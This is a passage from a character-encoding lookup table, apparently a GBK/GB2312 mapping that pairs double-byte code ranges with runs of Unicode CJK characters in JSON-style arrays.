u62E5\u4F63\u81C3\u75C8\u5EB8\u96CD\u8E0A\u86F9\u548F\u6CF3\u6D8C\u6C38\u607F\u52C7\u7528\u5E7D\u4F18\u60A0\u5FE7\u5C24\u7531\u90AE\u94C0\u72B9\u6CB9\u6E38\u9149\u6709\u53CB\u53F3\u4F51\u91C9\u8BF1\u53C8\u5E7C\u8FC2\u6DE4\u4E8E\u76C2\u6986\u865E\u611A\u8206\u4F59\u4FDE\u903E\u9C7C\u6109\u6E1D\u6E14\u9685\u4E88\u5A31\u96E8\u4E0E\u5C7F\u79B9\u5B87\u8BED\u7FBD\u7389\u57DF\u828B\u90C1\u5401\u9047\u55BB\u5CEA\u5FA1\u6108\u6B32\u72F1\u80B2\u8A89"],["d440","\u8A1E",31,"\u8A3F",8,"\u8A49",21],["d480","\u8A5F",25,"\u8A7A",6,"\u6D74\u5BD3\u88D5\u9884\u8C6B\u9A6D\u9E33\u6E0A\u51A4\u5143\u57A3\u8881\u539F\u63F4\u8F95\u56ED\u5458\u5706\u733F\u6E90\u7F18\u8FDC\u82D1\u613F\u6028\u9662\u66F0\u7EA6\u8D8A\u8DC3\u94A5\u5CB3\u7CA4\u6708\u60A6\u9605\u8018\u4E91\u90E7\u5300\u9668\u5141\u8FD0\u8574\u915D\u6655\u97F5\u5B55\u531D\u7838\u6742\u683D\u54C9\u707E\u5BB0\u8F7D\u518D\u5728\u54B1\u6512\u6682\u8D5E\u8D43\u810F\u846C\u906D\u7CDF\u51FF\u85FB\u67A3\u65E9\u6FA1\u86A4\u8E81\u566A\u9020\u7682\u7076\u71E5\u8D23\u62E9\u5219\u6CFD\u8D3C\u600E\u589E\u618E\u66FE\u8D60\u624E\u55B3\u6E23\u672D\u8F67"],["d540","\u8A81",7,"\u8A8B",7,"\u8A94",46],["d580","\u8AC3",32,"\u94E1\u95F8\u7728\u6805\u69A8\u548B\u4E4D\u70B8\u8BC8\u6458\u658B\u5B85\u7A84\u503A\u5BE8\u77BB\u6BE1\u8A79\u7C98\u6CBE\u76CF\u65A9\u8F97\u5D2D\u5C55\u8638\u6808\u5360\u6218\u7AD9\u6E5B\u7EFD\u6A1F\u7AE0\u5F70\u6F33\u5F20\u638C\u6DA8\u6756\u4E08\u5E10\u8D26\u4ED7\u80C0\u7634\u969C\u62DB\u662D\u627E\u6CBC\u8D75\u7167\u7F69\u5146\u8087\u53EC\u906E\u6298\u54F2\u86F0\u8F99\u8005\u9517\u8517\u8FD9\u6D59\u73CD\u659F\u771F\u7504\u7827\u81FB\u8D1E\u9488\u4FA6\u6795\u75B9\u8BCA\u9707\u632F\u9547\u9635\u84B8\u6323\u7741\u5F81\u72F0\u4E89\u6014\u6574\u62EF\u6B63\u653F"],["d640","\u8AE4",34,"\u8B08",27],["d680","\u8B24\u8B25\u8B27",30,"\u5E27\u75C7\u90D1\u8BC1\u829D\u679D\u652F\u5431\u8718\u77E5\u80A2\u8102\u6C41\u4E4B\u7EC7\u804C\u76F4\u690D\u6B96\u6267\u503C\u4F84\u5740\u6307\u6B62\u8DBE\u53EA\u65E8\u7EB8\u5FD7\u631A\u63B7\u81F3\u81F4\u7F6E\u5E1C\u5CD9\u5236\u667A\u79E9\u7A1A\u8D28\u7099\u75D4\u6EDE\u6CBB\u7A92\u4E2D\u76C5\u5FE0\u949F\u8877\u7EC8\u79CD\u80BF\u91CD\u4EF2\u4F17\u821F\u5468\u5DDE\u6D32\u8BCC\u7CA5\u8F74\u8098\u5E1A\u5492\u76B1\u5B99\u663C\u9AA4\u73E0\u682A\u86DB\u6731\u732A\u8BF8\u8BDB\u9010\u7AF9\u70DB\u716E\u62C4\u77A9\u5631\u4E3B\u8457\u67F1\u52A9\u86C0\u8D2E\u94F8\u7B51"],["d740","\u8B46",31,"\u8B67",4,"\u8B6D",25],["d780","\u8B87",24,"\u8BAC\u8BB1\u8BBB\u8BC7\u8BD0\u8BEA\u8C09\u8C1E\u4F4F\u6CE8\u795D\u9A7B\u6293\u722A\u62FD\u4E13\u7816\u8F6C\u64B0\u8D5A\u7BC6\u6869\u5E84\u88C5\u5986\u649E\u58EE\u72B6\u690E\u9525\u8FFD\u8D58\u5760\u7F00\u8C06\u51C6\u6349\u62D9\u5353\u684C\u7422\u8301\u914C\u5544\u7740\u707C\u6D4A\u5179\u54A8\u8D44\u59FF\u6ECB\u6DC4\u5B5C\u7D2B\u4ED4\u7C7D\u6ED3\u5B50\u81EA\u6E0D\u5B57\u9B03\u68D5\u8E2A\u5B97\u7EFC\u603B\u7EB5\u90B9\u8D70\u594F\u63CD\u79DF\u8DB3\u5352\u65CF\u7956\u8BC5\u963B\u7EC4\u94BB\u7E82\u5634\u9189\u6700\u7F6A\u5C0A\u9075\u6628\u5DE6\u4F50\u67DE\u505A\u4F5C\u5750\u5EA7"],["d840","\u8C38",8,"\u8C42\u8C43\u8C44\u8C45\u8C48\u8C4A\u8C4B\u8C4D",7,"\u8C56\u8C57\u8C58\u8C59\u8C5B",5,"\u8C63",6,"\u8C6C",6,"\u8C74\u8C75\u8C76\u8C77\u8C7B",6,"\u8C83\u8C84\u8C86\u8C87"],["d880","\u8C88\u8C8B\u8C8D",6,"\u8C95\u8C96\u8C97\u8C99",20,"\u4E8D\u4E0C\u5140\u4E10\u5EFF\u5345\u4E15\u4E98\u4E1E\u9B32\u5B6C\u5669\u4E28\u79BA\u4E3F\u5315\u4E47\u592D\u723B\u536E\u6C10\u56DF\u80E4\u9997\u6BD3\u777E\u9F17\u4E36\u4E9F\u9F10\u4E5C\u4E69\u4E93\u8288\u5B5B\u556C\u560F\u4EC4\u538D\u539D\u53A3\u53A5\u53AE\u9765\u8D5D\u531A\u53F5\u5326\u532E\u533E\u8D5C\u5366\u5363\u5202\u5208\u520E\u522D\u5233\u523F\u5240\u524C\u525E\u5261\u525C\u84AF\u527D\u5282\u5281\u5290\u5293\u5182\u7F54\u4EBB\u4EC3\u4EC9\u4EC2\u4EE8\u4EE1\u4EEB\u4EDE\u4F1B\u4EF3\u4F22\u4F64\u4EF5\u4F25\u4F27\u4F09\u4F2B\u4F5E\u4F67\u6538\u4F5A\u4F5D"],["d940","\u8CAE",62],["d980","\u8CED",32,"\u4F5F\u4F57\u4F32\u4F3D\u4F76\u4F74\u4F91\u4F89\u4F83\u4F8F\u4F7E\u4F7B\u4FAA\u4F7C\u4FAC\u4F94\u4FE6\u4FE8\u4FEA\u4FC5\u4FDA\u4FE3\u4FDC\u4FD1\u4FDF\u4FF8\u5029\u504C\u4FF3\u502C\u500F\u502E\u502D\u4FFE\u501C\u500C\u5025\u5028\u507E\u5043\u5055\u5048\u504E\u506C\u507B\u50A5\u50A7\u50A9\u50BA\u50D6\u5106\u50ED\u50EC\u50E6\u50EE\u5107\u510B\u4EDD\u6C3D\u4F58\u4F65\u4FCE\u9FA0\u6C46\u7C74\u516E\u5DFD\u9EC9\u9998\u5181\u5914\u52F9\u530D\u8A07\u5310\u51EB\u5919\u5155\u4EA0\u5156\u4EB3\u886E\u88A4\u4EB5\u8114\u88D2\u7980\u5B34\u8803\u7FB8\u51AB\u51B1\u51BD\u51BC"],["da40","\u8D0E",14,"\u8D20\u8D51\u8D52\u8D57\u8D5F\u8D65\u8D68\u8D69\u8D6A\u8D6C\u8D6E\u8D6F\u8D71\u8D72\u8D78",8,"\u8D82\u8D83\u8D86\u8D87\u8D88\u8D89\u8D8C",4,"\u8D92\u8D93\u8D95",9,"\u8DA0\u8DA1"],["da80","\u8DA2\u8DA4",12,"\u8DB2\u8DB6\u8DB7\u8DB9\u8DBB\u8DBD\u8DC0\u8DC1\u8DC2\u8DC5\u8DC7\u8DC8\u8DC9\u8DCA\u8DCD\u8DD0\u8DD2\u8DD3\u8DD4\u51C7\u5196\u51A2\u51A5\u8BA0\u8BA6\u8BA7\u8BAA\u8BB4\u8BB5\u8BB7\u8BC2\u8BC3\u8BCB\u8BCF\u8BCE\u8BD2\u8BD3\u8BD4\u8BD6\u8BD8\u8BD9\u8BDC\u8BDF\u8BE0\u8BE4\u8BE8\u8BE9\u8BEE\u8BF0\u8BF3\u8BF6\u8BF9\u8BFC\u8BFF\u8C00\u8C02\u8C04\u8C07\u8C0C\u8C0F\u8C11\u8C12\u8C14\u8C15\u8C16\u8C19\u8C1B\u8C18\u8C1D\u8C1F\u8C20\u8C21\u8C25\u8C27\u8C2A\u8C2B\u8C2E\u8C2F\u8C32\u8C33\u8C35\u8C36\u5369\u537A\u961D\u9622\u9621\u9631\u962A\u963D\u963C\u9642\u9649\u9654\u965F\u9667\u966C\u9672\u9674\u9688\u968D\u9697\u96B0\u9097\u909B\u909D\u9099\u90AC\u90A1\u90B4\u90B3\u90B6\u90BA"],["db40","\u8DD5\u8DD8\u8DD9\u8DDC\u8DE0\u8DE1\u8DE2\u8DE5\u8DE6\u8DE7\u8DE9\u8DED\u8DEE\u8DF0\u8DF1\u8DF2\u8DF4\u8DF6\u8DFC\u8DFE",6,"\u8E06\u8E07\u8E08\u8E0B\u8E0D\u8E0E\u8E10\u8E11\u8E12\u8E13\u8E15",7,"\u8E20\u8E21\u8E24",4,"\u8E2B\u8E2D\u8E30\u8E32\u8E33\u8E34\u8E36\u8E37\u8E38\u8E3B\u8E3C\u8E3E"],["db80","\u8E3F\u8E43\u8E45\u8E46\u8E4C",4,"\u8E53",5,"\u8E5A",11,"\u8E67\u8E68\u8E6A\u8E6B\u8E6E\u8E71\u90B8\u90B0\u90CF\u90C5\u90BE\u90D0\u90C4\u90C7\u90D3\u90E6\u90E2\u90DC\u90D7\u90DB\u90EB\u90EF\u90FE\u9104\u9122\u911E\u9123\u9131\u912F\u9139\u9143\u9146\u520D\u5942\u52A2\u52AC\u52AD\u52BE\u54FF\u52D0\u52D6\u52F0\u53DF\u71EE\u77CD\u5EF4\u51F5\u51FC\u9B2F\u53B6\u5F01\u755A\u5DEF\u574C\u57A9\u57A1\u587E\u58BC\u58C5\u58D1\u5729\u572C\u572A\u5733\u5739\u572E\u572F\u575C\u573B\u5742\u5769\u5785\u576B\u5786\u577C\u577B\u5768\u576D\u5776\u5773\u57AD\u57A4\u578C\u57B2\u57CF\u57A7\u57B4\u5793\u57A0\u57D5\u57D8\u57DA\u57D9\u57D2\u57B8\u57F4\u57EF\u57F8\u57E4\u57DD"],["dc40","\u8E73\u8E75\u8E77",4,"\u8E7D\u8E7E\u8E80\u8E82\u8E83\u8E84\u8E86\u8E88",6,"\u8E91\u8E92\u8E93\u8E95",6,"\u8E9D\u8E9F",11,"\u8EAD\u8EAE\u8EB0\u8EB1\u8EB3",6,"\u8EBB",7],["dc80","\u8EC3",10,"\u8ECF",21,"\u580B\u580D\u57FD\u57ED\u5800\u581E\u5819\u5844\u5820\u5865\u586C\u5881\u5889\u589A\u5880\u99A8\u9F19\u61FF\u8279\u827D\u827F\u828F\u828A\u82A8\u8284\u828E\u8291\u8297\u8299\u82AB\u82B8\u82BE\u82B0\u82C8\u82CA\u82E3\u8298\u82B7\u82AE\u82CB\u82CC\u82C1\u82A9\u82B4\u82A1\u82AA\u829F\u82C4\u82CE\u82A4\u82E1\u8309\u82F7\u82E4\u830F\u8307\u82DC\u82F4\u82D2\u82D8\u830C\u82FB\u82D3\u8311\u831A\u8306\u8314\u8315\u82E0\u82D5\u831C\u8351\u835B\u835C\u8308\u8392\u833C\u8334\u8331\u839B\u835E\u832F\u834F\u8347\u8343\u835F\u8340\u8317\u8360\u832D\u833A\u8333\u8366\u8365"],["dd40","\u8EE5",62],["dd80","\u8F24",32,"\u8368\u831B\u8369\u836C\u836A\u836D\u836E\u83B0\u8378\u83B3\u83B4\u83A0\u83AA\u8393\u839C\u8385\u837C\u83B6\u83A9\u837D\u83B8\u837B\u8398\u839E\u83A8\u83BA\u83BC\u83C1\u8401\u83E5\u83D8\u5807\u8418\u840B\u83DD\u83FD\u83D6\u841C\u8438\u8411\u8406\u83D4\u83DF\u840F\u8403\u83F8\u83F9\u83EA\u83C5\u83C0\u8426\u83F0\u83E1\u845C\u8451\u845A\u8459\u8473\u8487\u8488\u847A\u8489\u8478\u843C\u8446\u8469\u8476\u848C\u848E\u8431\u846D\u84C1\u84CD\u84D0\u84E6\u84BD\u84D3\u84CA\u84BF\u84BA\u84E0\u84A1\u84B9\u84B4\u8497\u84E5\u84E3\u850C\u750D\u8538\u84F0\u8539\u851F\u853A"],["de40","\u8F45",32,"\u8F6A\u8F80\u8F8C\u8F92\u8F9D\u8FA0\u8FA1\u8FA2\u8FA4\u8FA5\u8FA6\u8FA7\u8FAA\u8FAC\u8FAD\u8FAE\u8FAF\u8FB2\u8FB3\u8FB4\u8FB5\u8FB7\u8FB8\u8FBA\u8FBB\u8FBC\u8FBF\u8FC0\u8FC3\u8FC6"],["de80","\u8FC9",4,"\u8FCF\u8FD2\u8FD6\u8FD7\u8FDA\u8FE0\u8FE1\u8FE3\u8FE7\u8FEC\u8FEF\u8FF1\u8FF2\u8FF4\u8FF5\u8FF6\u8FFA\u8FFB\u8FFC\u8FFE\u8FFF\u9007\u9008\u900C\u900E\u9013\u9015\u9018\u8556\u853B\u84FF\u84FC\u8559\u8548\u8568\u8564\u855E\u857A\u77A2\u8543\u8572\u857B\u85A4\u85A8\u8587\u858F\u8579\u85AE\u859C\u8585\u85B9\u85B7\u85B0\u85D3\u85C1\u85DC\u85FF\u8627\u8605\u8629\u8616\u863C\u5EFE\u5F08\u593C\u5941\u8037\u5955\u595A\u5958\u530F\u5C22\u5C25\u5C2C\u5C34\u624C\u626A\u629F\u62BB\u62CA\u62DA\u62D7\u62EE\u6322\u62F6\u6339\u634B\u6343\u63AD\u63F6\u6371\u637A\u638E\u63B4\u636D\u63AC\u638A\u6369\u63AE\u63BC\u63F2\u63F8\u63E0\u63FF\u63C4\u63DE\u63CE\u6452\u63C6\u63BE\u6445\u6441\u640B\u641B\u6420\u640C\u6426\u6421\u645E\u6484\u646D\u6496"],["df40","\u9019\u901C\u9023\u9024\u9025\u9027",5,"\u9030",4,"\u9037\u9039\u903A\u903D\u903F\u9040\u9043\u9045\u9046\u9048",4,"\u904E\u9054\u9055\u9056\u9059\u905A\u905C",5,"\u9064\u9066\u9067\u9069\u906A\u906B\u906C\u906F",4,"\u9076",6,"\u907E\u9081"],["df80","\u9084\u9085\u9086\u9087\u9089\u908A\u908C",4,"\u9092\u9094\u9096\u9098\u909A\u909C\u909E\u909F\u90A0\u90A4\u90A5\u90A7\u90A8\u90A9\u90AB\u90AD\u90B2\u90B7\u90BC\u90BD\u90BF\u90C0\u647A\u64B7\u64B8\u6499\u64BA\u64C0\u64D0\u64D7\u64E4\u64E2\u6509\u6525\u652E\u5F0B\u5FD2\u7519\u5F11\u535F\u53F1\u53FD\u53E9\u53E8\u53FB\u5412\u5416\u5406\u544B\u5452\u5453\u5454\u5456\u5443\u5421\u5457\u5459\u5423\u5432\u5482\u5494\u5477\u5471\u5464\u549A\u549B\u5484\u5476\u5466\u549D\u54D0\u54AD\u54C2\u54B4\u54D2\u54A7\u54A6\u54D3\u54D4\u5472\u54A3\u54D5\u54BB\u54BF\u54CC\u54D9\u54DA\u54DC\u54A9\u54AA\u54A4\u54DD\u54CF\u54DE\u551B\u54E7\u5520\u54FD\u5514\u54F3\u5522\u5523\u550F\u5511\u5527\u552A\u5567\u558F\u55B5\u5549\u556D\u5541\u5555\u553F\u5550\u553C"],["e040","\u90C2\u90C3\u90C6\u90C8\u90C9\u90CB\u90CC\u90CD\u90D2\u90D4\u90D5\u90D6\u90D8\u90D9\u90DA\u90DE\u90DF\u90E0\u90E3\u90E4\u90E5\u90E9\u90EA\u90EC\u90EE\u90F0\u90F1\u90F2\u90F3\u90F5\u90F6\u90F7\u90F9\u90FA\u90FB\u90FC\u90FF\u9100\u9101\u9103\u9105",19,"\u911A\u911B\u911C"],["e080","\u911D\u911F\u9120\u9121\u9124",10,"\u9130\u9132",6,"\u913A",8,"\u9144\u5537\u5556\u5575\u5576\u5577\u5533\u5530\u555C\u558B\u55D2\u5583\u55B1\u55B9\u5588\u5581\u559F\u557E\u55D6\u5591\u557B\u55DF\u55BD\u55BE\u5594\u5599\u55EA\u55F7\u55C9\u561F\u55D1\u55EB\u55EC\u55D4\u55E6\u55DD\u55C4\u55EF\u55E5\u55F2\u55F3\u55CC\u55CD\u55E8\u55F5\u55E4\u8F94\u561E\u5608\u560C\u5601\u5624\u5623\u55FE\u5600\u5627\u562D\u5658\u5639\u5657\u562C\u564D\u5662\u5659\u565C\u564C\u5654\u5686\u5664\u5671\u566B\u567B\u567C\u5685\u5693\u56AF\u56D4\u56D7\u56DD\u56E1\u56F5\u56EB\u56F9\u56FF\u5704\u570A\u5709\u571C\u5E0F\u5E19\u5E14\u5E11\u5E31\u5E3B\u5E3C"],["e140","\u9145\u9147\u9148\u9151\u9153\u9154\u9155\u9156\u9158\u9159\u915B\u915C\u915F\u9160\u9166\u9167\u9168\u916B\u916D\u9173\u917A\u917B\u917C\u9180",4,"\u9186\u9188\u918A\u918E\u918F\u9193",6,"\u919C",5,"\u91A4",5,"\u91AB\u91AC\u91B0\u91B1\u91B2\u91B3\u91B6\u91B7\u91B8\u91B9\u91BB"],["e180","\u91BC",10,"\u91C8\u91CB\u91D0\u91D2",9,"\u91DD",8,"\u5E37\u5E44\u5E54\u5E5B\u5E5E\u5E61\u5C8C\u5C7A\u5C8D\u5C90\u5C96\u5C88\u5C98\u5C99\u5C91\u5C9A\u5C9C\u5CB5\u5CA2\u5CBD\u5CAC\u5CAB\u5CB1\u5CA3\u5CC1\u5CB7\u5CC4\u5CD2\u5CE4\u5CCB\u5CE5\u5D02\u5D03\u5D27\u5D26\u5D2E\u5D24\u5D1E\u5D06\u5D1B\u5D58\u5D3E\u5D34\u5D3D\u5D6C\u5D5B\u5D6F\u5D5D\u5D6B\u5D4B\u5D4A\u5D69\u5D74\u5D82\u5D99\u5D9D\u8C73\u5DB7\u5DC5\u5F73\u5F77\u5F82\u5F87\u5F89\u5F8C\u5F95\u5F99\u5F9C\u5FA8\u5FAD\u5FB5\u5FBC\u8862\u5F61\u72AD\u72B0\u72B4\u72B7\u72B8\u72C3\u72C1\u72CE\u72CD\u72D2\u72E8\u72EF\u72E9\u72F2\u72F4\u72F7\u7301\u72F3\u7303\u72FA"],["e240","\u91E6",62],["e280","\u9225",32,"\u72FB\u7317\u7313\u7321\u730A\u731E\u731D\u7315\u7322\u7339\u7325\u732C\u7338\u7331\u7350\u734D\u7357\u7360\u736C\u736F\u737E\u821B\u5925\u98E7\u5924\u5902\u9963\u9967",5,"\u9974\u9977\u997D\u9980\u9984\u9987\u998A\u998D\u9990\u9991\u9993\u9994\u9995\u5E80\u5E91\u5E8B\u5E96\u5EA5\u5EA0\u5EB9\u5EB5\u5EBE\u5EB3\u8D53\u5ED2\u5ED1\u5EDB\u5EE8\u5EEA\u81BA\u5FC4\u5FC9\u5FD6\u5FCF\u6003\u5FEE\u6004\u5FE1\u5FE4\u5FFE\u6005\u6006\u5FEA\u5FED\u5FF8\u6019\u6035\u6026\u601B\u600F\u600D\u6029\u602B\u600A\u603F\u6021\u6078\u6079\u607B\u607A\u6042"],["e340","\u9246",45,"\u9275",16],["e380","\u9286",7,"\u928F",24,"\u606A\u607D\u6096\u609A\u60AD\u609D\u6083\u6092\u608C\u609B\u60EC\u60BB\u60B1\u60DD\u60D8\u60C6\u60DA\u60B4\u6120\u6126\u6115\u6123\u60F4\u6100\u610E\u612B\u614A\u6175\u61AC\u6194\u61A7\u61B7\u61D4\u61F5\u5FDD\u96B3\u95E9\u95EB\u95F1\u95F3\u95F5\u95F6\u95FC\u95FE\u9603\u9604\u9606\u9608\u960A\u960B\u960C\u960D\u960F\u9612\u9615\u9616\u9617\u9619\u961A\u4E2C\u723F\u6215\u6C35\u6C54\u6C5C\u6C4A\u6CA3\u6C85\u6C90\u6C94\u6C8C\u6C68\u6C69\u6C74\u6C76\u6C86\u6CA9\u6CD0\u6CD4\u6CAD\u6CF7\u6CF8\u6CF1\u6CD7\u6CB2\u6CE0\u6CD6\u6CFA\u6CEB\u6CEE\u6CB1\u6CD3\u6CEF\u6CFE"],["e440","\u92A8",5,"\u92AF",24,"\u92C9",31],["e480","\u92E9",32,"\u6D39\u6D27\u6D0C\u6D43\u6D48\u6D07\u6D04\u6D19\u6D0E\u6D2B\u6D4D\u6D2E\u6D35\u6D1A\u6D4F\u6D52\u6D54\u6D33\u6D91\u6D6F\u6D9E\u6DA0\u6D5E\u6D93\u6D94\u6D5C\u6D60\u6D7C\u6D63\u6E1A\u6DC7\u6DC5\u6DDE\u6E0E\u6DBF\u6DE0\u6E11\u6DE6\u6DDD\u6DD9\u6E16\u6DAB\u6E0C\u6DAE\u6E2B\u6E6E\u6E4E\u6E6B\u6EB2\u6E5F\u6E86\u6E53\u6E54\u6E32\u6E25\u6E44\u6EDF\u6EB1\u6E98\u6EE0\u6F2D\u6EE2\u6EA5\u6EA7\u6EBD\u6EBB\u6EB7\u6ED7\u6EB4\u6ECF\u6E8F\u6EC2\u6E9F\u6F62\u6F46\u6F47\u6F24\u6F15\u6EF9\u6F2F\u6F36\u6F4B\u6F74\u6F2A\u6F09\u6F29\u6F89\u6F8D\u6F8C\u6F78\u6F72\u6F7C\u6F7A\u6FD1"],["e540","\u930A",51,"\u933F",10],["e580","\u934A",31,"\u936B\u6FC9\u6FA7\u6FB9\u6FB6\u6FC2\u6FE1\u6FEE\u6FDE\u6FE0\u6FEF\u701A\u7023\u701B\u7039\u7035\u704F\u705E\u5B80\u5B84\u5B95\u5B93\u5BA5\u5BB8\u752F\u9A9E\u6434\u5BE4\u5BEE\u8930\u5BF0\u8E47\u8B07\u8FB6\u8FD3\u8FD5\u8FE5\u8FEE\u8FE4\u8FE9\u8FE6\u8FF3\u8FE8\u9005\u9004\u900B\u9026\u9011\u900D\u9016\u9021\u9035\u9036\u902D\u902F\u9044\u9051\u9052\u9050\u9068\u9058\u9062\u905B\u66B9\u9074\u907D\u9082\u9088\u9083\u908B\u5F50\u5F57\u5F56\u5F58\u5C3B\u54AB\u5C50\u5C59\u5B71\u5C63\u5C66\u7FBC\u5F2A\u5F29\u5F2D\u8274\u5F3C\u9B3B\u5C6E\u5981\u5983\u598D\u59A9\u59AA\u59A3"],["e640","\u936C",34,"\u9390",27],["e680","\u93AC",29,"\u93CB\u93CC\u93CD\u5997\u59CA\u59AB\u599E\u59A4\u59D2\u59B2\u59AF\u59D7\u59BE\u5A05\u5A06\u59DD\u5A08\u59E3\u59D8\u59F9\u5A0C\u5A09\u5A32\u5A34\u5A11\u5A23\u5A13\u5A40\u5A67\u5A4A\u5A55\u5A3C\u5A62\u5A75\u80EC\u5AAA\u5A9B\u5A77\u5A7A\u5ABE\u5AEB\u5AB2\u5AD2\u5AD4\u5AB8\u5AE0\u5AE3\u5AF1\u5AD6\u5AE6\u5AD8\u5ADC\u5B09\u5B17\u5B16\u5B32\u5B37\u5B40\u5C15\u5C1C\u5B5A\u5B65\u5B73\u5B51\u5B53\u5B62\u9A75\u9A77\u9A78\u9A7A\u9A7F\u9A7D\u9A80\u9A81\u9A85\u9A88\u9A8A\u9A90\u9A92\u9A93\u9A96\u9A98\u9A9B\u9A9C\u9A9D\u9A9F\u9AA0\u9AA2\u9AA3\u9AA5\u9AA7\u7E9F\u7EA1\u7EA3\u7EA5\u7EA8\u7EA9"],["e740","\u93CE",7,"\u93D7",54],["e780","\u940E",32,"\u7EAD\u7EB0\u7EBE\u7EC0\u7EC1\u7EC2\u7EC9\u7ECB\u7ECC\u7ED0\u7ED4\u7ED7\u7EDB\u7EE0\u7EE1\u7EE8\u7EEB\u7EEE\u7EEF\u7EF1\u7EF2\u7F0D\u7EF6\u7EFA\u7EFB\u7EFE\u7F01\u7F02\u7F03\u7F07\u7F08\u7F0B\u7F0C\u7F0F\u7F11\u7F12\u7F17\u7F19\u7F1C\u7F1B\u7F1F\u7F21",6,"\u7F2A\u7F2B\u7F2C\u7F2D\u7F2F",4,"\u7F35\u5E7A\u757F\u5DDB\u753E\u9095\u738E\u7391\u73AE\u73A2\u739F\u73CF\u73C2\u73D1\u73B7\u73B3\u73C0\u73C9\u73C8\u73E5\u73D9\u987C\u740A\u73E9\u73E7\u73DE\u73BA\u73F2\u740F\u742A\u745B\u7426\u7425\u7428\u7430\u742E\u742C"],["e840","\u942F",14,"\u943F",43,"\u946C\u946D\u946E\u946F"],["e880","\u9470",20,"\u9491\u9496\u9498\u94C7\u94CF\u94D3\u94D4\u94DA\u94E6\u94FB\u951C\u9520\u741B\u741A\u7441\u745C\u7457\u7455\u7459\u7477\u746D\u747E\u749C\u748E\u7480\u7481\u7487\u748B\u749E\u74A8\u74A9\u7490\u74A7\u74D2\u74BA\u97EA\u97EB\u97EC\u674C\u6753\u675E\u6748\u6769\u67A5\u6787\u676A\u6773\u6798\u67A7\u6775\u67A8\u679E\u67AD\u678B\u6777\u677C\u67F0\u6809\u67D8\u680A\u67E9\u67B0\u680C\u67D9\u67B5\u67DA\u67B3\u67DD\u6800\u67C3\u67B8\u67E2\u680E\u67C1\u67FD\u6832\u6833\u6860\u6861\u684E\u6862\u6844\u6864\u6883\u681D\u6855\u6866\u6841\u6867\u6840\u683E\u684A\u6849\u6829\u68B5\u688F\u6874\u6877\u6893\u686B\u68C2\u696E\u68FC\u691F\u6920\u68F9"],["e940","\u9527\u9533\u953D\u9543\u9548\u954B\u9555\u955A\u9560\u956E\u9574\u9575\u9577",7,"\u9580",42],["e980","\u95AB",32,"\u6924\u68F0\u690B\u6901\u6957\u68E3\u6910\u6971\u6939\u6960\u6942\u695D\u6984\u696B\u6980\u6998\u6978\u6934\u69CC\u6987\u6988\u69CE\u6989\u6966\u6963\u6979\u699B\u69A7\u69BB\u69AB\u69AD\u69D4\u69B1\u69C1\u69CA\u69DF\u6995\u69E0\u698D\u69FF\u6A2F\u69ED\u6A17\u6A18\u6A65\u69F2\u6A44\u6A3E\u6AA0\u6A50\u6A5B\u6A35\u6A8E\u6A79\u6A3D\u6A28\u6A58\u6A7C\u6A91\u6A90\u6AA9\u6A97\u6AAB\u7337\u7352\u6B81\u6B82\u6B87\u6B84\u6B92\u6B93\u6B8D\u6B9A\u6B9B\u6BA1\u6BAA\u8F6B\u8F6D\u8F71\u8F72\u8F73\u8F75\u8F76\u8F78\u8F77\u8F79\u8F7A\u8F7C\u8F7E\u8F81\u8F82\u8F84\u8F87\u8F8B"],["ea40","\u95CC",27,"\u95EC\u95FF\u9607\u9613\u9618\u961B\u961E\u9620\u9623",6,"\u962B\u962C\u962D\u962F\u9630\u9637\u9638\u9639\u963A\u963E\u9641\u9643\u964A\u964E\u964F\u9651\u9652\u9653\u9656\u9657"],["ea80","\u9658\u9659\u965A\u965C\u965D\u965E\u9660\u9663\u9665\u9666\u966B\u966D",4,"\u9673\u9678",12,"\u9687\u9689\u968A\u8F8D\u8F8E\u8F8F\u8F98\u8F9A\u8ECE\u620B\u6217\u621B\u621F\u6222\u6221\u6225\u6224\u622C\u81E7\u74EF\u74F4\u74FF\u750F\u7511\u7513\u6534\u65EE\u65EF\u65F0\u660A\u6619\u6772\u6603\u6615\u6600\u7085\u66F7\u661D\u6634\u6631\u6636\u6635\u8006\u665F\u6654\u6641\u664F\u6656\u6661\u6657\u6677\u6684\u668C\u66A7\u669D\u66BE\u66DB\u66DC\u66E6\u66E9\u8D32\u8D33\u8D36\u8D3B\u8D3D\u8D40\u8D45\u8D46\u8D48\u8D49\u8D47\u8D4D\u8D55\u8D59\u89C7\u89CA\u89CB\u89CC\u89CE\u89CF\u89D0\u89D1\u726E\u729F\u725D\u7266\u726F\u727E\u727F\u7284\u728B\u728D\u728F\u7292\u6308\u6332\u63B0"],["eb40","\u968C\u968E\u9691\u9692\u9693\u9695\u9696\u969A\u969B\u969D",9,"\u96A8",7,"\u96B1\u96B2\u96B4\u96B5\u96B7\u96B8\u96BA\u96BB\u96BF\u96C2\u96C3\u96C8\u96CA\u96CB\u96D0\u96D1\u96D3\u96D4\u96D6",9,"\u96E1",6,"\u96EB"],["eb80","\u96EC\u96ED\u96EE\u96F0\u96F1\u96F2\u96F4\u96F5\u96F8\u96FA\u96FB\u96FC\u96FD\u96FF\u9702\u9703\u9705\u970A\u970B\u970C\u9710\u9711\u9712\u9714\u9715\u9717",4,"\u971D\u971F\u9720\u643F\u64D8\u8004\u6BEA\u6BF3\u6BFD\u6BF5\u6BF9\u6C05\u6C07\u6C06\u6C0D\u6C15\u6C18\u6C19\u6C1A\u6C21\u6C29\u6C24\u6C2A\u6C32\u6535\u6555\u656B\u724D\u7252\u7256\u7230\u8662\u5216\u809F\u809C\u8093\u80BC\u670A\u80BD\u80B1\u80AB\u80AD\u80B4\u80B7\u80E7\u80E8\u80E9\u80EA\u80DB\u80C2\u80C4\u80D9\u80CD\u80D7\u6710\u80DD\u80EB\u80F1\u80F4\u80ED\u810D\u810E\u80F2\u80FC\u6715\u8112\u8C5A\u8136\u811E\u812C\u8118\u8132\u8148\u814C\u8153\u8174\u8159\u815A\u8171\u8160\u8169\u817C\u817D\u816D\u8167\u584D\u5AB5\u8188\u8182\u8191\u6ED5\u81A3\u81AA\u81CC\u6726\u81CA\u81BB"],["ec40","\u9721",8,"\u972B\u972C\u972E\u972F\u9731\u9733",4,"\u973A\u973B\u973C\u973D\u973F",18,"\u9754\u9755\u9757\u9758\u975A\u975C\u975D\u975F\u9763\u9764\u9766\u9767\u9768\u976A",7],["ec80","\u9772\u9775\u9777",4,"\u977D",7,"\u9786",4,"\u978C\u978E\u978F\u9790\u9793\u9795\u9796\u9797\u9799",4,"\u81C1\u81A6\u6B24\u6B37\u6B39\u6B43\u6B46\u6B59\u98D1\u98D2\u98D3\u98D5\u98D9\u98DA\u6BB3\u5F40\u6BC2\u89F3\u6590